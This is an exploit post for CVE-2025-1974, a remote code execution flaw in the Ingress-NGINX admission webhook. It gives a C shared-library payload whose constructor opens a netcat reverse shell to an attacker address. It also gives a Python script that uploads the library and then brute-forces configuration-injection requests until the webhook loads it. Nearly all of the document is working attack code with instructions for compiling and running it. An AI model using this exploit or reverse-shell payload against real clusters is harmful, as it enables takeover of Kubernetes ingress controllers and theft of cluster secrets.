# Exploit Title: Ingress-NGINX 4.11.0 - Remote Code Execution (RCE) # Google Dork: N/A # Date: 2025-06-19 # Exploit Author: Likhith Appalaneni # Vendor Homepage: https://kubernetes.github.io/ingress-nginx/ # Software Link: https://github.com/kubernetes/ingress-nginx # Version: ingress-nginx v4.11.0 on Kubernetes v1.29.0 (Minikube) # Tested on: Ubuntu 24.04, Minikube vLatest, Docker vLatest # CVE : CVE-2025-1974 1) Update the attacker ip and listening port in shell.c and Compile the shell payload: gcc -fPIC -shared -o shell.so shell.c 2) Run the exploit: python3 exploit.py The exploit sends a crafted AdmissionRequest to the vulnerable Ingress-NGINX webhook and loads the shell.so to achieve code execution. <---> shell.c <---> #include __attribute__((constructor)) void init() { system("sh -c 'nc attacker-ip attacker-port -e /bin/sh'"); } <---> shell.c <---> <---> exploit.py <---> import json import requests import threading import time import urllib3 import socket import argparse urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def upload_shell_via_socket(file_path, target_host, target_port): print("[*] Uploading shell.so via raw socket to keep FD open...") try: with open(file_path, "rb") as f: data = f.read() data += b"\x00" * (16384 - len(data) % 16384) content_len = len(data) + 2024 payload = f"POST /fake/addr HTTP/1.1\r\nHost: {target_host}:{target_port}\r\nContent-Type: application/octet-stream\r\nContent-Length: {content_len}\r\n\r\n".encode("ascii") + data sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_host, target_port)) sock.sendall(payload) print("[*] Payload sent, holding connection open for 220s...") time.sleep(220) sock.close() except Exception as e: print(f"[!] Upload failed: {e}") def build_payload(pid, fd): annotation = "http://x/#;" + ("}" * 3) + f"\nssl_engine /proc/{pid}/fd/{fd};\n#" return { "kind": "AdmissionReview", "apiVersion": "admission.k8s.io/v1", "request": { "uid": "exploit-uid", "kind": { "group": "networking.k8s.io", "version": "v1", "kind": "Ingress" }, "resource": { "group": "networking.k8s.io", "version": "v1", "resource": "ingresses" }, "requestKind": { "group": "networking.k8s.io", "version": "v1", "kind": "Ingress" }, "requestResource": { "group": "networking.k8s.io", "version": "v1", "resource": "ingresses" }, "name": "example-ingress", "operation": "CREATE", "userInfo": { "username": "kube-review", "uid": "d9c6bf40-e0e6-4cd9-a9f4-b6966020ed3d" }, "object": { "kind": "Ingress", "apiVersion": "networking.k8s.io/v1", "metadata": { "name": "example-ingress", "annotations": { "nginx.ingress.kubernetes.io/auth-url": annotation } }, "spec": { "ingressClassName": "nginx", "rules": [ { "host": "hello-world.com", "http": { "paths": [ { "path": "/", "pathType": "Prefix", "backend": { "service": { "name": "web", "port": { "number": 8080 } } } } ] } } ] } }, "oldObject": None, "dryRun": False, "options": { "kind": "CreateOptions", "apiVersion": "meta.k8s.io/v1" } } } def send_requests(admission_url, pid_range, fd_range): for pid in range(pid_range[0], pid_range[1]): for fd in range(fd_range[0], fd_range[1]): print(f"Trying /proc/{pid}/fd/{fd}") payload = build_payload(pid, fd) try: resp = requests.post( f"{admission_url}/networking/v1/ingresses", headers={"Content-Type": "application/json"}, data=json.dumps(payload), verify=False, timeout=5 ) result = resp.json() msg = result.get("response", {}).get("status", {}).get("message", "") if "No such file" in msg or "Permission denied" in msg: continue print(f"[+] Interesting response at /proc/{pid}/fd/{fd}:\n{msg}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": parser = argparse.ArgumentParser(description="Exploit CVE-2025-1974") parser.add_argument("--upload-url", required=True, help="Upload URL (e.g., http://127.0.0.1:8080)") parser.add_argument("--admission-url", required=True, help="Admission controller URL (e.g., https://127.0.0.1:8443)") parser.add_argument("--shell", default="shell.so", help="Path to shell.so file") parser.add_argument("--pid-start", type=int, default=26) parser.add_argument("--pid-end", type=int, default=30) parser.add_argument("--fd-start", type=int, default=1) parser.add_argument("--fd-end", type=int, default=100) args = parser.parse_args() host = args.upload_url.split("://")[-1].split(":")[0] port = int(args.upload_url.split(":")[-1]) upload_thread = threading.Thread(target=upload_shell_via_socket, args=(args.shell, host, port)) upload_thread.start() time.sleep(3) send_requests(args.admission_url, (args.pid_start, args.pid_end), (args.fd_start, args.fd_end)) upload_thread.join() <---> exploit.py <--->